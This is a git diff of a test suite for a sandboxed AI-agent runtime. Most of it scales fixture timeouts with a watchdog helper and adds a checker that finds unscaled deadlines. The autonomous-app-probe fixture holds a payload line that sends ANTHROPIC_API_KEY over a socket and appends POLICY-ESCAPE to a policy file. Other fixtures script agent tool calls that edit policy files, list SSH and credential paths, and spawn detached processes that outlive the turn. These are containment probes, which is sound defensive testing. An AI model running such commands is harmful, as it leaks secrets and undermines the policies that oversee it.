Btrfs loop volumes (#2428). Runs only inside reference-pool-fixture.py. */ import { expect, spyOn } from "bun:test"; import { closeSync, existsSync, linkSync, mkdirSync, openSync, readdirSync, readFileSync, readlinkSync, rmSync, statSync, symlinkSync, truncateSync, unlinkSync, writeFileSync, writeSync, chmodSync, renameSync } from "node:fs"; @@ -676,7 +677,7 @@ const shapes = await create("staging", 32 * MIB); mkdirSync(state, { recursive: true }); await manager.close(); const served = await serveNativeBrainManager(config); - const client = createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: 20_000 }); + const client = createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: watchdogMs(20_000) }); const db = createUiDb(join(state, "ui.db")); try { const penelope = createPrincipal(db, { authMethod: "password", label: "Penelope", ttlSeconds: 86_400 }); @@ -882,7 +883,7 @@ const shapes = await create("staging", 32 * MIB); await manager.close(); const served = await serveNativeBrainManager(config); try { - await runReferenceEfficiency({ client: createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: 20_000 }), socketPath: config.socketPath, artifacts: ARTIFACTS, note, command, sync }); + await runReferenceEfficiency({ client: createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: watchdogMs(20_000) }), socketPath: config.socketPath, artifacts: ARTIFACTS, note, command, sync }); } finally { await served.close(); } manager = await createNativeBrainManager(config); } @@ -978,7 +979,7 @@ const shapes = await create("staging", 32 * MIB); const { proveManagedReferenceSource } = await import("./managed-reference-source.js"); await manager.close(); const served = await serveNativeBrainManager(config); - try { await proveManagedReferenceSource(createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: 20_000 }), "/brain-fixture/brain", note); } + try { await proveManagedReferenceSource(createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: watchdogMs(20_000) }), "/brain-fixture/brain", note); } finally { await served.close(); } manager = await createNativeBrainManager(config); } @@ -990,7 +991,7 @@ const shapes = await create("staging", 32 * MIB); await manager.close(); const served = await serveNativeBrainManager(config); try { - const client = createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: 20_000 }); + const client = createNativeBrainManagerClient({ socketPath: config.socketPath, timeoutMs: watchdogMs(20_000) }); expect((await client.listPoolRecovery()).records, "REFERENCE_POOL_RESTART_RECONSTRUCTS").toEqual(before.records); writeFileSync("/native-runtime/config.json", JSON.stringify(config)); chmodSync("/native-runtime/config.json", 0o600); // The manager serves from this process: a synchronous child would block its event loop. diff --git a/scripts/native-proof/schedule-folder-admission.ts b/scripts/native-proof/schedule-folder-admission.ts index d638578fa5..33236cf381 100644 --- a/scripts/native-proof/schedule-folder-admission.ts +++ b/scripts/native-proof/schedule-folder-admission.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../test-deadlines"; /** Actual Btrfs publication control; invoked by the existing owned native fixture. */ import { strict as assert } from "node:assert"; import { mkdirSync, writeFileSync, existsSync, chmodSync, statSync, rmSync } from "node:fs"; @@ -65,7 +66,7 @@ export async function proveScheduleFolderAdmission(artifacts: string): Promise reader-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved 2>/dev/null; then exit 41; fi; if mv group group-moved 2>/dev/null; then exit 42; fi; printf Penelope > group/private/peer.md; printf Odysseus > notes/peer.md; printf ROOTS_RETAINED'] }); output = Promise.all([streamText(peer.stdout), streamText(peer.stderr)]); - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(brain, "reader-ready.md"))) { if (Date.now() > deadline) throw Error("Native schedule peer readiness deadline"); await Bun.sleep(5); diff --git a/scripts/prove-worker-identity.ts b/scripts/prove-worker-identity.ts index 8173475917..eb7099da0a 100644 --- a/scripts/prove-worker-identity.ts +++ b/scripts/prove-worker-identity.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "./test-deadlines"; /** Real cross-UID broker proof; fixture elevation exists only in this container. */ import { chmodSync, mkdtempSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs"; import { createHash } from "node:crypto"; @@ -355,7 +356,7 @@ exit "$case_code" const forward = (signal: NodeJS.Signals) => child.kill(signal); for (const signal of ["SIGINT", "SIGTERM"] as const) process.on(signal, forward); let code: number | undefined, cleanupFailure: Error | undefined, captureFailure: unknown; - const timeout = setTimeout(() => child.kill("SIGTERM"), containerTimeoutMs); + const timeout = setTimeout(() => child.kill("SIGTERM"), watchdogMs(containerTimeoutMs)); const capture = async (stream: ReadableStream, channel: "stdout" | "stderr") => { let text = ""; for await (const chunk of stream) { const current = new TextDecoder().decode(chunk); text += current; if (channel === "stdout") process.stdout.write(current); else process.stderr.write(current); writeFileSync(join(artifact, channel + ".log"), text); } diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 74a2800dca..15cef90d11 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -69,7 +69,7 @@ async function main(): Promise { let tcpHits = 0; const listener = Bun.listen({ hostname: "127.0.0.1", port: 0, socket: { data() {}, open() { tcpHits++; } } }); const tool = (name: string) => adapter === "claude" ? `mcp__brain-ui__${name}` : name; - const shell = (command: string) => adapter === "claude" ? { name: "Bash", input: { command, timeout: 60000 } } : { name: "bash", input: { command } }; + const shell = (command: string) => adapter === "claude" ? { name: "Bash", input: { command, timeout: /* native-product-timing: Bash tool-input execution budget is a product parameter, not a fixture watchdog. */ 60000 } } : { name: "bash", input: { command } }; const read = (path: string) => adapter === "claude" ? { name: "Read", input: { file_path: path } } : { name: "read_file", input: { path } }; const proposal = { name: tool("write_file"), input: { path: NOTE, expectedBaseHash: null, content: CONTENT } }; const payload = `python3 -c "import socket,os;s=socket.socket();s.connect(('127.0.0.1',${listener.port}));s.send(os.environ.get('ANTHROPIC_API_KEY','').encode())"; echo POLICY-ESCAPE >> ${policyPath}`; diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index ded5070037..69912b7b66 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; @@ -127,7 +128,7 @@ async function server(): Promise { secrets: [join(home, ".ssh/id_odysseus"), join(root, "claude/.credentials.json"), join(root, "pi/settings.json"), join(brainPath, ".git/config")], hostHome: home, upstreamPort: 0, policy: policyPath }); const shell = adapter === "claude" ? "Bash" : "bash"; - const bash = (command: string) => adapter === "claude" ? { name: "Bash", input: { command, timeout: 60000 } } : { name: "bash", input: { command } }; + const bash = (command: string) => adapter === "claude" ? { name: "Bash", input: { command, timeout: /* native-product-timing: Bash tool-input execution budget is a product parameter, not a fixture watchdog. */ 60000 } } : { name: "bash", input: { command } }; // An out-of-roster call must escalate to a durable decision, never run. const outside = adapter === "claude" ? { name: "mcp__brain-ui__show_block", input: { block: { type: "callout", text: "Odysseus" } } } : { name: "read_file", input: { path: "context/policies/crew.md" } }; @@ -218,7 +219,7 @@ async function server(): Promise { result = await runAutonomousTurn({ db, store: createActivityStore(db, { writer: "autonomous-containment", pricing }), backend, brainPath, nativeManager: nativeHost.nativeManager, emit: frame => frames.push(frame as Record), checkpoint: intent => { settled.push(JSON.parse(JSON.stringify(intent))); } }, { turnId: "share-run", principalId: principal.id, prompt: `Triage this staged share.\n---\n${share}`, profileId: "fixture", billingMode: "api", - allowedTools: adapter === "claude" ? [shell, "Agent"] : [shell], systemPromptAppend: `${SNAPSHOT}: triage only; stage findings in scratch.`, signal: AbortSignal.timeout(100_000) }); + allowedTools: adapter === "claude" ? [shell, "Agent"] : [shell], systemPromptAppend: `${SNAPSHOT}: triage only; stage findings in scratch.`, signal: AbortSignal.timeout(watchdogMs(100_000)) }); } catch (error) { failure = { name: (error as Error).name, message: (error as Error).message }; } Bun.spawn = original.spawn; Bun.spawnSync = original.spawnSync; const toolResults = frames.filter(f => f.type === "tool_result").map(f => ({ toolUseId: f.toolUseId, isError: f.isError, output: String(f.output ?? "") })); diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index ca039613c0..e78dec4a4b 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; @@ -116,7 +117,7 @@ const backend = backendName === "claude" ? createClaudeBackend({ brainPath, prof createPiBackend({ brainPath, sessionDir: join(root, "pi-sessions"), profiles: [{ id: "fixture", label: "Fixture", vendor: "anthropic", model: "claude-sonnet-4-6", thinkingLevel: "off" }], loadExtensions: false }); const controller = new AbortController(); if (scenario === "preaborted") controller.abort(); -const deadline = setTimeout(() => controller.abort(), 15_000); +const deadline = setTimeout(() => controller.abort(), watchdogMs(15_000)); try { if (scenario === "ordinary") { await startFixtureTurn(backend, brainPath, { prompt: "Odysseus fixture", profileId: "fixture", signal: controller.signal, diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index e080ed1b4a..10d7dbc6a3 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; @@ -46,7 +47,7 @@ let voyageLog = "---\ntype: note\ntitle: Voyage log\n---\n"; for (let day = 1; voyageLog.length < 67_000; day++) voyageLog += `Day ${day}: Odysseus logs "the wind", the oars and what Athena advised at dusk.\n`; if (scenario === "read-base") writeFileSync(join(brainPath, "notes/voyage-log.md"), voyageLog); const actions = scenario === "exceeded" ? [{ name: "Bash", input: { command: 'head -c 100000000 /dev/zero > "$CLAUDE_CONFIG_DIR/filler"; df -B1 "$CLAUDE_CONFIG_DIR" | tail -1' } }] - : scenario === "read-base" ? [{ name: "mcp__brain-ui__brain_read_base", input: { path: "notes/voyage-log.md" } }] : scenario === "abort" ? [{ name: "Bash", input: { command: `"${nativeBun}" -e 'import {spawn} from "node:child_process";import {writeFileSync} from "node:fs";const c=spawn("sleep",["120"],{detached:true,stdio:"ignore",argv0:${JSON.stringify(childMarker)}});writeFileSync(process.env.BRAIN_WORKER_SCRATCH+"/child-pid",String(c.pid));await Bun.sleep(120000)'`, timeout: 120000 } }] : [ + : scenario === "read-base" ? [{ name: "mcp__brain-ui__brain_read_base", input: { path: "notes/voyage-log.md" } }] : scenario === "abort" ? [{ name: "Bash", input: { command: `"${nativeBun}" -e 'import {spawn} from "node:child_process";import {writeFileSync} from "node:fs";const c=spawn("sleep",["120"],{detached:true,stdio:"ignore",argv0:${JSON.stringify(childMarker)}});writeFileSync(process.env.BRAIN_WORKER_SCRATCH+"/child-pid",String(c.pid));await Bun.sleep(120000)'`, timeout: /* native-product-timing: Bash tool-input execution budget is a product parameter, not a fixture watchdog. */ 120000 } }] : [ { name: "Write", input: { file_path: policyPath, content: "Write changed policy" } }, { name: "Edit", input: { file_path: policyPath, old_string: "Athena", new_string: "Untrusted" } }, { name: "NotebookEdit", input: { notebook_path: join(brainPath, "context/policies/crew.ipynb"), cell_id: "crew", new_source: "Untrusted notebook", cell_type: "markdown", edit_mode: "replace" } }, @@ -92,7 +93,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) const body = await request.json(); requests.push({ tools: body.tools?.map((t: any) => t.name), results: body.messages?.flatMap((m: any) => Array.isArray(m.content) ? m.content.filter((c: any) => c.type === "tool_result") : []) }); calls++; const action = actions[step++]; if (scenario === "abort" && action) { - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); const check = () => { sawDetachedChild = readdirSync("/proc").some(pid => { try { return readFileSync(`/proc/${pid}/cmdline`, "utf8").split("\0")[0] === childMarker; } catch { return false; } }); // A live tool is not proof of a durable transcript: the native runtime diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index f248240fc6..18afeba833 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; @@ -284,7 +285,7 @@ async function server(): Promise { const relative = ["context/policies/crew.md", "notes/../context/policies/crew.md", "notes/policy-hardlink.md", "notes/policy-symlink.md", "notes/policies-link/crew.md", "Context/Policies/crew.md", "context/policies/crew.md", "context/policies/new.md"]; const n = adapter === "claude" ? (name: string) => name.startsWith("$") || /^[A-Z]/.test(name) ? name : `mcp__brain-ui__${name}` : (name: string) => name; - const bash = adapter === "claude" ? (command: string) => ({ name: "Bash", input: { command, timeout: 60000 } }) : (command: string) => ({ name: "bash", input: { command } }); + const bash = adapter === "claude" ? (command: string) => ({ name: "Bash", input: { command, timeout: /* native-product-timing: Bash tool-input execution budget is a product parameter, not a fixture watchdog. */ 60000 } }) : (command: string) => ({ name: "bash", input: { command } }); const routed = [ ...relative.map(path => ({ name: n("write_file"), input: { path, content: ESCAPE, expectedBaseHash: path.endsWith("new.md") ? null : policyHash } })), ...relative.slice(0, 5).map(path => ({ name: n("edit_file"), input: { path, old_string: "Athena", new_string: ESCAPE, expectedBaseHash: policyHash } })), @@ -505,7 +506,7 @@ async function server(): Promise { const settled: unknown[] = []; let failure: { name: string; message: string } | undefined; let autonomous: unknown; - const deadline = setTimeout(() => { for (const turn of host.coordinator.running) turn.abortController.abort(); }, 100_000); + const deadline = setTimeout(() => { for (const turn of host.coordinator.running) turn.abortController.abort(); }, watchdogMs(100_000)); try { if (posture === "autonomous") { const principal = createPrincipal(db, { authMethod: "password", label: "Odysseus", ttlSeconds: 3600 }); diff --git a/tests/helpers/native-timeout-inventory.ts b/tests/helpers/native-timeout-inventory.ts new file mode 100644 index 0000000000..12fe35f601 --- /dev/null +++ b/tests/helpers/native-timeout-inventory.ts @@ -0,0 +1,70 @@ +/** Syntax-only native watchdog inventory; never evaluates a launcher. */ +import ts from "typescript"; +import { readFileSync } from "node:fs"; +import { join,basename } from "node:path"; +import { fixtureSources,nativeSdkLauncher,namespaceLaunches } from "./native-launcher-inventory"; +export function nativeDeadlineSources(root:string):Map { + const result=new Map(),known=fixtureSources(root),files=new Set(); + for(const pattern of ["packages/*/tests/**/*.ts","scripts/**/*.ts","tests/**/*.ts","experiments/**/*.ts"])for(const file of new Bun.Glob(pattern).scanSync({cwd:root}))files.add(file); + for(const file of [...files].sort()){ + const source=known.get(file)??ts.createSourceFile(file,readFileSync(join(root,file),"utf8"),ts.ScriptTarget.Latest,true); + let direct=false; + function imports(node:ts.Node){if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly){const names=node.importClause?.namedBindings;if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&/^(?:nativeScriptedService|nativeScriptedQuery|bundledClaudeBinary|nativeGuardEnvironment|nativeNamespacePolicy|launchAgentWorker|launchAgentWorkerAsync|workerBootstrap)$/.test((item.propertyName??item.name).text))direct=true;}ts.forEachChild(node,imports);}imports(source); + // Disposable native/identity entrypoints also launch through argv delegates. + const delegated=file.includes("/fixtures/")&&/(?:native|identity)/.test(basename(file)); + if(nativeSdkLauncher(source)||namespaceLaunches(source).length||direct||delegated||file.startsWith("scripts/native-proof/"))result.set(file,source); + } + return result; +} +export interface NativeDeadline {file:string;line:number;kind:"registrar"|"timer"|"abort"|"spawn"|"poll";expression:ts.Expression;source:ts.SourceFile;productReason?:string} +export function nativeDeadlines(file:string,source:ts.SourceFile):NativeDeadline[]{ + const timerNames=new Set(["setTimeout"]); + const result:NativeDeadline[]=[],registrars=new Set(["test","it","beforeAll","afterAll","beforeEach","afterEach","setDefaultTimeout"]); + function emit(kind:NativeDeadline["kind"],expression:ts.Expression){ + const comments=source.text.slice(expression.getFullStart(),expression.getStart(source)); + const reason=/\/\*\s*native-product-timing:\s*([^*]+)\*\//.exec(comments)?.[1]?.trim(); + result.push({file,line:source.getLineAndCharacterOfPosition(expression.getStart(source)).line+1,kind,expression,source,...(reason?{productReason:reason}:{})}); + } + function visit(node:ts.Node):void{ + if(ts.isImportDeclaration(node)&&node.moduleSpecifier.getText(source).includes("bun:test")){const names=node.importClause?.namedBindings;if(names&&ts.isNamedImports(names))for(const item of names.elements)if(registrars.has((item.propertyName??item.name).text))registrars.add(item.name.text);} + if(ts.isImportDeclaration(node)&&ts.isStringLiteral(node.moduleSpecifier)&&["node:timers","timers"].includes(node.moduleSpecifier.text)){const names=node.importClause?.namedBindings;if(names&&ts.isNamedImports(names))for(const item of names.elements)if((item.propertyName??item.name).text==="setTimeout")timerNames.add(item.name.text);} + if(ts.isCallExpression(node)){ + const name=node.expression.getText(source),root=name.split(/[.(]/)[0]!,outer=registrars.has(root); + if((/(?:^|\.)setTimeout$/.test(name)||timerNames.has(name))&&node.arguments[1])emit("timer",node.arguments[1]); + else if(/(?:^|\.)AbortSignal\.timeout$/.test(name)&&node.arguments[0])emit("abort",node.arguments[0]); + else if(outer){const last=node.arguments.at(-1);if(last&&ts.isExpression(last)&&!ts.isArrowFunction(last)&&!ts.isFunctionExpression(last)&&!ts.isObjectLiteralExpression(last)&&(node.arguments.length>1||root==="setDefaultTimeout"))emit("registrar",last);} + } + if(ts.isBinaryExpression(node)&&node.operatorToken.kind===ts.SyntaxKind.PlusToken&&/^(?:Date|performance)\.now\(\)$/.test(node.left.getText(source))){ + const parent=node.parent; + if(ts.isVariableDeclaration(parent)&&/(?:deadline|until|end)/i.test(parent.name.getText(source))||ts.isCallExpression(parent)&&/(?:readLine|ready|readySteps|childPid|verifyWorkerFolderMounts)/.test(parent.expression.getText(source)))emit("poll",node.right); + } + if(ts.isPropertyAssignment(node)&&["timeout","timeoutMs"].includes(ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:ts.isComputedPropertyName(node.name)&&ts.isStringLiteral(node.name.expression)?node.name.expression.text:node.name.getText(source))&&![ts.SyntaxKind.TrueKeyword,ts.SyntaxKind.FalseKeyword,ts.SyntaxKind.NullKeyword].includes(node.initializer.kind)){ + let parent:ts.Node=node.parent;while(parent&&!ts.isCallExpression(parent)&&!ts.isStatement(parent))parent=parent.parent; + if(parent&&ts.isCallExpression(parent)){ + const name=parent.expression.getText(source),root=name.split(/[.(]/)[0]!; + if(registrars.has(root))emit("registrar",node.initializer); + else if(/(?:^|\.)(?:spawn|spawnSync|run|runStreaming)$/.test(name))emit("spawn",node.initializer); + else if(/(?:^|\.)poll$/.test(name))emit("poll",node.initializer); + else emit("spawn",node.initializer); + }else emit("spawn",node.initializer); + } + ts.forEachChild(node,visit); + }visit(source);return result; +} +export function deadlineValue(node:ts.Expression,source:ts.SourceFile,seen=new Set()):number|undefined { + if(ts.isNumericLiteral(node))return Number(node.text); + if(ts.isParenthesizedExpression(node))return deadlineValue(node.expression,source,seen); + if(ts.isIdentifier(node)&&!seen.has(node.text)){ + const name=node.text; + const values:ts.Expression[]=[];function visit(n:ts.Node){if((ts.isVariableDeclaration(n)||ts.isParameter(n))&&ts.isIdentifier(n.name)&&n.name.text===name&&n.initializer)values.push(n.initializer);ts.forEachChild(n,visit);}visit(source); + if(values.length===1){const next=new Set(seen);next.add(node.text);return deadlineValue(values[0]!,source,next);} + } + return; +} +export function unscaledNativeDeadlines(file:string,source:ts.SourceFile,threshold=100):NativeDeadline[]{ + return nativeDeadlines(file,source).filter(item=>{ + if(item.kind==="registrar"||item.productReason)return false; + if(ts.isCallExpression(item.expression)&&item.expression.expression.getText(source)==="watchdogMs")return false; + const value=deadlineValue(item.expression,source);return value===undefined||value>threshold; + }); +} diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts index 33c2fe0548..7bd456737b 100644 --- a/tests/native-device-diagnostics.test.ts +++ b/tests/native-device-diagnostics.test.ts @@ -7,9 +7,9 @@ test("device metadata is collected by the harmless payload inside its actual vie const root=mkdtempSync(join(tmpdir(),"odysseus-device-metadata-")); try{ const log=join(root,"trace"),strace=Bun.which("strace");expect(strace,"strace required for device metadata proof").toBeTruthy(); - const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["/usr/bin/python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(out).toBe(""); + expect(code,"DEVICE_PROBE_PRESERVES_PATH_SEARCH "+err).toBe(0);expect(out).toBe(""); const records=nativeDeviceMetadata(readFileSync(log,"utf8")); expect(records.map(value=>value.device),"ACTUAL_CHILD_DEVICE_METADATA").toEqual(["dev","urandom"]); expect(records.find(value=>value.device==="dev")?.uid).toBe(21002); diff --git a/tests/native-namespace-policy.test.ts b/tests/native-namespace-policy.test.ts index eef70e3b01..26dae7649b 100644 --- a/tests/native-namespace-policy.test.ts +++ b/tests/native-namespace-policy.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../scripts/test-deadlines"; /** Real bubblewrap mount construction with /usr/bin/true only; never Claude. */ import { expect, test } from "bun:test"; import ts from "typescript"; @@ -34,7 +35,7 @@ for(const [file,source] of fixtureSources(root))for(const [index,plan] of namesp } } expect(mounted,"POLICY_MOUNT_PRESENT").toBe(true); - const child=Bun.spawnSync([...argv,"/usr/bin/true"],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); + const child=Bun.spawnSync([...argv,"/usr/bin/true"],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(5000)}); expect(child.exitCode,child.stderr.toString()).toBe(0); }finally{rmSync(scratch,{recursive:true,force:true});} }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index be8c73476d..d524a31f1c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -341,7 +341,9 @@ test("guard worker binds follow every covering mount", async()=>{ if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); const payload=argv.slice(split+1);if(payload[1]!==${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}||payload[2]!=="--direct-loopback"||!payload[3]?.endsWith("/native-connect"))throw Error("PRODUCTION_TRANSPORT_OUTSIDE_PAYLOAD_FILTER"); if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); - plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();require("node:fs").rmSync(managedRoot,{recursive:true,force:true});`,scratch); + if(typeof plan.nativeExecuted!=="function"||plan.nativeExecuted())throw Error("WORKER_PLAN_EXEC_EVIDENCE_REACHES_CALLER"); + plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); + if(!plan.nativeExecuted())throw Error("WORKER_PLAN_EXEC_EVIDENCE_REACHES_CALLER");plan.dispose();require("node:fs").rmSync(managedRoot,{recursive:true,force:true});`,scratch); expect(result.code,result.output).toBe(0); const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-worker-plan"'))!); expect(Object.keys(receipt).sort()).toEqual(["kind","head","bootstrapArgc","bootstrapArgvBytes","sandboxArgc","sandboxArgvBytes","metadataBytes"].sort()); @@ -810,7 +812,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); const child = spawnGuardFixture(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const output=Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - const deadline=Date.now()+10000; + const deadline=Date.now()+watchdogMs(10000); while(!existsSync(join(home,"boundary-ready"))&&child.exitCode===null&&Date.now(){ + const source=ts.createSourceFile("restart.ts",readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/native-restart-versions.test.ts"),"utf8"),ts.ScriptTarget.Latest,true); + let turn:ts.FunctionDeclaration|undefined;function visit(node:ts.Node){if(ts.isFunctionDeclaration(node)&&node.name?.text==="turn")turn=node;ts.forEachChild(node,visit);}visit(source);expect(turn).toBeDefined(); + const code=ts.transpileModule(turn!.getText(source),{compilerOptions:{target:ts.ScriptTarget.ESNext}}).outputText; + const records:Record[]=[],timers=new Mapvoid;ms:number}>();let sequence=0; + const factory=new Function("expect","watchdogMs","recordNativeRelayTurn","setTimeout","clearTimeout","timers",` + let mode="read",sent=0,turns=0,environmentCalls=0,runtime,requests=0,sessionId,brain="/synthetic/brain"; + const MEASURED_RUNTIME={claudeCode:"synthetic"}; + const backend={async startTurn(request){environmentCalls++;runtime="synthetic";sent=1;requests++; + for(const timer of timers.values())if(timer.ms<=21000)timer.fn(); + if(!request.signal.aborted){sent=2;requests++;} + request.bridge.emit({type:"result",outcome:request.signal.aborted?"cancelled":"success"}); + }}; + ${code} + return ()=>turn("recover");`); + const run=factory(expect,(ms:number)=>watchdogMs(ms,{BRAIN_TEST_DEADLINE_FACTOR:"3"}),(value:Record)=>records.push(value),(fn:()=>void,ms:number)=>{const id=++sequence;timers.set(id,{fn,ms});return id;},(id:number)=>timers.delete(id),timers); + await run();expect(records).toHaveLength(1);expect(records[0]).toMatchObject({aborted:false,requestDelta:2,outcome:"success",refreshDelta:0});expect(timers.size).toBe(0); +}); diff --git a/tests/native-timeout-inventory.test.ts b/tests/native-timeout-inventory.test.ts new file mode 100644 index 0000000000..7107f05414 --- /dev/null +++ b/tests/native-timeout-inventory.test.ts @@ -0,0 +1,58 @@ +/** Static native deadlines plus real, keyless verification of Bun's outer scaling. */ +import { expect,test } from "bun:test"; +import ts from "typescript"; +import { mkdtempSync,readFileSync,writeFileSync,rmSync } from "node:fs"; +import { join,relative } from "node:path"; +import { nativeDeadlineSources,nativeDeadlines,unscaledNativeDeadlines } from "./helpers/native-timeout-inventory"; +import { repetitionArgv } from "../scripts/test-determinism"; +import { watchdogMs } from "../scripts/test-deadlines"; +const root=join(import.meta.dir,".."); +test("native launch inventory contains no unscaled inner hang deadline",()=>{ + const sources=nativeDeadlineSources(root),failures:string[]=[]; + expect(sources.has("packages/ui-backend-claude/tests/native-restart-versions.test.ts")).toBe(true); + expect(sources.has("packages/core/tests/claude-runner-subscription.test.ts")).toBe(true); + expect(sources.has("packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts")).toBe(true); + for(const[file,source]of sources)for(const item of unscaledNativeDeadlines(file,source))failures.push(`${file}:${item.line}: ${item.expression.getText(source)}`); + expect(failures,"NATIVE_INNER_WATCHDOGS_MUST_SCALE").toEqual([]); +}); +test("new native literal timer, spawn, polling and aliased options cannot bypass inventory",()=>{ + const source=ts.createSourceFile("new-native.ts",`import {query} from "@anthropic-ai/claude-agent-sdk"; void query; + import {setTimeout as schedule} from "node:timers"; + schedule(()=>abort.abort(),25000); globalThis.AbortSignal.timeout(6000); + setTimeout(()=>abort.abort(),20000); AbortSignal.timeout(5000); const options={"timeout":30000}; Bun.spawn(["fixture"],options); + expect.poll(()=>ready,{timeout:5000}); const deadline=Date.now()+5000; + test("outer",()=>{},90000); test("outer options",{timeout:90000},()=>{}); + setTimeout(()=>{},watchdogMs(5000)); + setTimeout(()=>{},/* native-product-timing: Fixed measured application budget. */ 1000); + const receipt={timeout:false};`,ts.ScriptTarget.Latest,true); + expect(unscaledNativeDeadlines("new-native.ts",source).map(item=>item.expression.getText(source))).toEqual(["25000","6000","20000","5000","30000","5000","5000"]); + expect(nativeDeadlines("new-native.ts",source).filter(item=>item.kind==="registrar")).toHaveLength(2); +}); +test("native repetitions actually load the outer registrar scaling preload",async()=>{ + const source=ts.createSourceFile("determinism.ts",readFileSync(join(root,"scripts/test-determinism.ts"),"utf8"),ts.ScriptTarget.Latest,true); + const wiring:ts.CallExpression[]=[];function visit(node:ts.Node){if(ts.isCallExpression(node)&&node.expression.getText(source)==="repetitionArgv")wiring.push(node);ts.forEachChild(node,visit);}visit(source); + 